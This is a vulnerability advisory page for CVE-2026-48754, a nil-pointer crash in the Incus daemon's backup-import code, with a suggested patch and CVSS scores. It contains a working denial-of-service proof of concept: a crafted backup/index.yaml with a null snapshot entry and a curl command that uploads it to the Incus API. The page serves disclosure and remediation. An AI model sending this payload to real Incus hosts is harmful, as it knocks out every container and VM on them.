Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-48754
Published:July 01, 2026
Updated:July 02, 2026
Summary "(backend).createDependentVolumesFromBackup" in ""internal/server/storage/backend.go"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's "VolumeSnapshots[i]", "Volume", and "Pool" sub-fields. An authenticated user with "can_create_instances" permission on any project can crash the "incusd" daemon by uploading an instance backup tarball whose "dependent_volumes[]" block contains a nil snapshot pointer (or omits "volume:" / "pool:"). This is a sibling-field variant of the 2026-05-04 batch fix "d768f81c0a1d985f35ae56219519822b080bf5e3" ("Properly check dependent volumes on import"). That commit added "if disk == nil" at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked. Vulnerable code ""internal/server/storage/backend.go:9352-9412"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412): func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error { ... for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { // ← d768f81 parent fix return errors.New("Bad dependent volume definition found in index") } ... snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil } bInfo := backup.Info{ Project: disk.Volume.Project, // ← disk.Volume may be nil Name: disk.Volume.Name, Backend: disk.Pool.Driver, // ← disk.Pool may be nil Pool: disk.Pool.Name, ... } ... devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name) ... } } "disk" has type "*config.Config" (declared in ""internal/server/backup/config/backup_config.go:8"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its "Volume" field is "*api.StorageVolume", "Pool" is "*api.StoragePool", "VolumeSnapshots" is "[]*api.StorageVolumeSnapshot" — all yaml "omitempty". YAML omission decodes to nil for each. The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant. Reach 1. Attacker is an authenticated client with "can_create_instances" on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. 2. "POST /1.0/instances" with "Content-Type: application/octet-stream" and "X-Incus-name: <name>". 3. Body is a tar containing ""backup/index.yaml"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose "config:" block has a non-nil "container:" (passes "instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil") and a "dependent_volumes:" list with a malformed entry. 4. Chain: "instancesPost" -> "createFromBackup:854" (Container guard passes) -> "pool.CreateInstanceFromBackup" -> "backend.go:782 b.createDependentVolumesFromBackup" -> "backend.go:9374 snap.Name" panics on the nil "*api.StorageVolumeSnapshot" element. 5. "incusd" dies. Persistent DoS on repeat. Minimal ""backup/index.yaml"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC): name: poc-inst backend: dir pool: default type: container optimized: false optimized_header: false snapshots: [] config: container: name: poc-inst architecture: x86_64 type: container profiles: ["default"] config: {} devices: {} expanded_devices: depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data} expanded_config: {} dependent_volumes: - volume: {name: depvol, type: custom, content_type: filesystem, config: {}} pool: {name: default, driver: dir, config: {}} volume_snapshots: - ~ # explicit null entry → snap.Name at 9374 panics (The container block must declare at least one device with "type: disk", "dependent: "true"", "pool != """, "path != "/"" to populate "devicesMap" and reach the second loop. Trivially satisfiable.) An equivalent triggering YAML omits "volume:" or "pool:" from the dependent_volumes entry; in that case "disk.Volume.Project" at 9378 panics instead. Proof of concept (end-to-end against running daemon) Bundled in the report: "make_backup.sh" + 666-byte "poc-inst.tar.gz". Tested against "incus 7.0.0" (zabbly latest GA, build "1:0~ubuntu24.04~202605201355") inside a privileged Ubuntu 24.04 container with default "dir" pool. $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST --data-binary @/tmp/poc-inst.tar.gz -H 'Content-Type: application/octet-stream' -H 'X-Incus-name: poc-inst' http://incus/1.0/instances {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process gone Daemon panic: panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc] goroutine 257 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...) /build/incus/internal/server/storage/backend.go:9374 +0x42c github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...) /build/incus/internal/server/storage/backend.go:782 +0x660 main.createFromBackup.func8(...) /build/incus/cmd/incusd/instances_post.go:989 +0x2ac github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c Stack frame ""backend.go:9374"" (https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal "snap.Name" line. Impact - Severity: denial of service against the entire "incusd" process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with "can_create_instances" on any project. Not behind the admin tier. - Network attack surface: the Incus REST API on ":8443" or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - Versions: v7.0.0 confirmed. The "dependent_volumes" feature did not exist in v6.x, so the vulnerable code is v7-only. Suggested fix --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error { for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { return errors.New("Bad dependent volume definition found in index") } + + if disk.Volume == nil || disk.Pool == nil { + return errors.New("Bad dependent volume definition: missing volume or pool") + } + + for _, snap := range disk.VolumeSnapshots { + if snap == nil { + return errors.New("Bad dependent volume snapshot definition") + } + } + optimizedStorage := srcBackup.OptimizedStorage optimizedHeader := srcBackup.OptimizedHeader snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) } Reporter notes Reported via Privately-Reported Vulnerability against "lxc/incus" by tonghuaroot.
Affected Packages
github.com/lxc/incus (GO):
Affected version(s) >=v0.0.0-20170216052942-23da0234979f <v7.1.0
Fix Suggestion:
Update to version v7.1.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
2.1
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
LOW
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
Exploit Maturity
POC
CVSS v3
Base Score:
4.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
LOW
Weakness Type (CWE)
NULL Pointer Dereference